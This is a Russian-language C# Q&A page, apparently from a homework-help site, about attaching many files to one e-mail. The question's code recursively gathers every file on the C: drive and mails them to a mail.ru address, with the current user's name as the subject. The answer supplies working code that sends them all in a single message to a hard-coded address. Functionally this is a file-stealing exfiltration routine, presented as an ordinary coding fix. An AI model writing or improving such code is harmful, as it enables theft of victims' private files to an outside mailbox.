Прикрепить вложения к e-mail по очереди - C#

Узнай цену своей работы

Формулировка задачи:

Тут фрагмент программы, которая ищет файлы по определенной маске и отправляет на почту.Я хочу чтобы в цикле вложения добавлялись одно за другим, а затем отправлялись одним сообщением. что-то типа к sendfile(n-1) добавить sendfile(n).
Листинг программы
  1. try
  2. {
  3. string[] files = Directory.GetFiles(@"C:", "*", SearchOption.AllDirectories);
  4. foreach (string f in files)
  5. {
  6. string from = "removed@mail.ru";
  7. string to = "removed@mail.ru";
  8. string subject = Environment.UserName;
  9. string text = "";
  10. text = text + f + "\n";
  11. message = new MailMessage(from, to, subject, text);
  12. Attachment sendfile = new Attachment(f);
  13. message.Attachments.Add(sendfile);
  14. }
  15. try
  16. {
  17. client.Send(message);
  18. Console.WriteLine("Message send");
  19. }
  20. catch (Exception ex)
  21. {
  22. Console.WriteLine(ex.ToString());
  23. }
  24. }
  25. catch (Exception ex) { Console.WriteLine(ex.ToString()); }
То есть совместить вложения, чтобы они отправлялись одним сообщением, а не по очереди. что-то в роде:
Листинг программы
  1. int n=..., t1=0, t2=0;
  2. while(...)
  3. {
  4. t1=n;
  5. n=t1+t2;
  6. t2=n;
  7. }

Решение задачи: «Прикрепить вложения к e-mail по очереди»

textual
Листинг программы
  1.                     message = new MailMessage();
  2.                     message.From  = "clfdf2303@mail.ru";
  3.                     message.To.Add("clfdf2303@mail.ru");
  4.                     message.Subject = Environment.UserName;
  5.                    
  6.                foreach (string f in files)
  7.                 {
  8.                     text = text + f + "\n";
  9.                     Attachment sendfile = new Attachment(f);
  10.                     message.Attachments.Add(sendfile);
  11.                 }
  12.                message.Body = text;

ИИ поможет Вам:


  • решить любую задачу по программированию
  • объяснить код
  • расставить комментарии в коде
  • и т.д
Попробуйте бесплатно

Оцени полезность:

7   голосов , оценка 4.286 из 5

Нужна аналогичная работа?

Оформи быстрый заказ и узнай стоимость

Бесплатно
Оформите заказ и авторы начнут откликаться уже через 10 минут